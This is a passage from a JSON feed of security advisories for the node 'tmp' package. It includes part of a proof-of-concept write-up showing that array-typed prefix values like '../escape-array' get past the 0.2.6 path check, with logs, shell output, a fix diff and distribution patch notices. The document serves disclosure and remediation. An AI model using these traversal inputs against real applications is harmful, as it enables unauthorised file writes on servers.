allowed\"}\n\n=== ATTACK 2: array prefix - bypasses 0.2.6 ===\n{\"filepath\":\"/private/tmp/escape-array-79635-gEFyGCBNFSTh\",\"escaped\":true,\"tenantBase\":\"/tmp/tenant-base-3XHwPZ\"}\n\n=== ATTACK 3: multi-level traversal toward /etc ===\n{\"error\":\"EACCES: permission denied, open '/etc/poc-tmp-bypass-79635-PEIABptX8JGH'\"}\n```\n\nServer log:\n\n```text\n[victim] Tenant base dir: /tmp/tenant-base-3XHwPZ\n[victim] received prefix: \"../escape-string\" (type: string )\n[victim] tmp error: Relative value not allowed\n[victim] received prefix: [\"../escape-array\"] (type: array )\n[victim] file created at: /private/tmp/escape-array-79635-gEFyGCBNFSTh ESCAPED: true\n[victim] received prefix: [\"../../../etc/poc-tmp-bypass\"] (type: array )\n[victim] tmp error: EACCES: permission denied, open '/etc/poc-tmp-bypass-79635-PEIABptX8JGH'\n```\n\nObservations:\n\n- ATTACK 1 (string `../escape-string`) is rejected at `_assertPath`. The 0.2.6 guard works for plain strings.\n- ATTACK 2 (array `[\"../escape-array\"]`) passes the guard and creates a file at `/private/tmp/escape-array-...`, outside the tenant base `/tmp/tenant-base-3XHwPZ`. The file content is `attacker-controlled-content`. Confirmed with `ls`:\n\n```bash\n$ ls -la /tmp/escape-array-*\n-rw-------@ 1 rick  wheel  27 May 27 20:25 /tmp/escape-array-79635-gEFyGCBNFSTh\n$ cat /tmp/escape-array-*\nattacker-controlled-content\n$ ls -la /tmp/tenant-base-3XHwPZ/\ntotal 0\ndrwx------ 2 rick  wheel   64 May 27 20:25 .\n```\n\n  Tenant base is empty. The escape is complete.\n\n- ATTACK 3 (array `[\"../../../etc/poc-tmp-bypass\"]`) reaches `fs.open` for `/etc/poc-tmp-bypass-...`. The open fails only because of POSIX permissions, not because tmp blocked the path. On a process running as root, or against any world-writable target directory, this would succeed.\n\n### Negative control with patched build\n\nApplying the suggested fix below and re-running ATTACK 2:\n\n```text\n=== ATTACK 2: array prefix - after fix ===\n{\"error\":\"prefix option must be a string, got \\\"object\\\".\"}\n```\n\nThe patched build rejects non-string `prefix`/`postfix`/`template` with a clear type error before the path is constructed.\n\n### Suggested fix\n\nPatch `_assertPath` to require a string argument. The check `value.includes('..')` is sound only over strings; any non-string with a custom or array-element `includes` semantics bypasses it.\n\n```diff\n--- a/lib/tmp.js\n+++ b/lib/tmp.js\n@@ -528,11 +528,14 @@ function _generateTmpName(opts) {\n /**\n- * Check the prefix and postfix options\n+ * Check the prefix, postfix, and template options\n  *\n  * @private\n  */\n-function _assertPath(path) {\n-  if (path.includes(\"..\")) {\n+function _assertPath(option, value) {\n+  if (typeof value !== 'string') {\n+    throw new Error(`${option} option must be a string, got \"${typeof value}\".`);\n+  }\n+  if (value.includes(\"..\")) {\n     throw new Error(\"Relative value not allowed\");\n   }\n\n-  return path;\n+  return value;\n }\n@@ -575,9 +578,9 @@ function _assertOptionsBase(options) {\n   options.unsafeCleanup = !!options.unsafeCleanup;\n\n   // for completeness' sake only, also keep (multiple) blanks if the user, purportedly sane, requests us to\n-  options.prefix = _isUndefined(options.prefix) ? '' : _assertPath(options.prefix);\n-  options.postfix = _isUndefined(options.postfix) ? '' : _assertPath(options.postfix);\n-  options.template = _isUndefined(options.template) ? undefined : _assertPath(options.template);\n+  options.prefix = _isUndefined(options.prefix) ? '' : _assertPath('prefix', options.prefix);\n+  options.postfix = _isUndefined(options.postfix) ? '' : _assertPath('postfix', options.postfix);\n+  options.template = _isUndefined(options.template) ? undefined : _assertPath('template', options.template);\n }\n```\n\nDefence-in-depth, recommended in addition to the type check: validate the final resolved path against `tmpdir` after `_generateTmpName`, similar to what `_getRelativePath` already does for `dir` and `template`. That way any future bypass through a different vector (e.g., a future Node `path` change, or a different option) does not exit `tmpdir`.\n\n### Fix PR\n\nhttps://github.com/raszi/node-tmp-ghsa-7c78-jf6q-g5cm/pull/1\n\n### Credit\n\nReported by tonghuaroot.","status":"published","published":"2026-06-15T16:36:46Z","modified":"2026-09-10T03:50:48.728956651Z","cvss":[{"version":"3.1","score":8.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L","level":"high"}],"cwes":["CWE-20","CWE-22"],"updated_at":"2026-11-02T15:46:41.002603Z"},{"id":"UBUNTU-CVE-2026-49982","description":"tmp is a temporary file and directory creator for node.js. In version 0.2.6, the _assertPath guard added to tmp rejects only string values that contain the substring ... It is bypassed when prefix, postfix, or template is supplied as a non-string value (Array, Buffer, or any object) whose includes('..') returns falsy but whose stringification still contains ../. The value flows through Array.prototype.join/String coercion inside _generateTmpName and path.join(tmpDir, opts.dir, name), producing a final path that escapes tmpdir and creates a file or directory at an attacker-controlled location with the host process's privileges. This affects any application that forwards untrusted request data (a common pattern is JSON body fields or qs-parsed bracket-array query strings such as ?prefix[]=...) into tmp.file, tmp.fileSync, tmp.dir, tmp.dirSync, tmp.tmpName, or tmp.tmpNameSync without explicit type coercion. This vulnerability is fixed in 0.2.7.","status":"published","published":"2026-06-11T17:16:00Z","modified":"2026-10-17T12:58:32.653979025Z","cvss":[{"version":"3.1","score":8.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L","level":"high"}],"updated_at":"2026-11-02T16:56:33.391918Z"},{"id":"CLSA-2026-1793207018","title":"TuxCare security update for tmp (2 CVEs)","description":"TuxCare rebuilt tmp to address 2 CVEs. Fixed in 0.2.5-tuxcare.1.","status":"published","published":"2026-10-28T17:03:38Z","modified":"2026-10-28T19:45:12.949835239Z","updated_at":"2026-11-02T15:43:55.669514Z"},{"id":"CLSA-2026-1793207046","title":"TuxCare security update for tmp (1 CVE)","description":"TuxCare rebuilt tmp to address 1 CVE. Fixed in 0.2.6-tuxcare.1.","status":"published","published":"2026-10-28T17:04:06Z","modified":"2026-10-28T19:45:11.120052146Z","updated_at":"2026-11-02T15:43:55.669514Z"},{"id":"CLSA-2026-1793209315","title":"TuxCare security update for tmp (2 CVEs)","description":"TuxCare rebuilt tmp to address 2 CVEs. Fixed in 0.2.4-tuxcare.1.","status":"published","published":"2026-10-28T17:41:54Z","modified":"2026-10-28T19:45:12.955205585Z","updated_at":"2026-11-02T15:43:55.669514Z"},{"id":"ROOT-APP-NPM-CVE-2026-49982","title":"CVE-2026-49982 in @rootio/tmp - Patched by Root","description":"Root has patched CVE-2026-49982 in the @rootio/tmp package for Root:npm. Multiple fixed versions available.","status":"published","published":"2026-07-06T11:58:51Z","modified":"2026-07-06T13:45:16.990982316Z","updated_at":"2026-11-02T15:53:27.649662Z"}]}}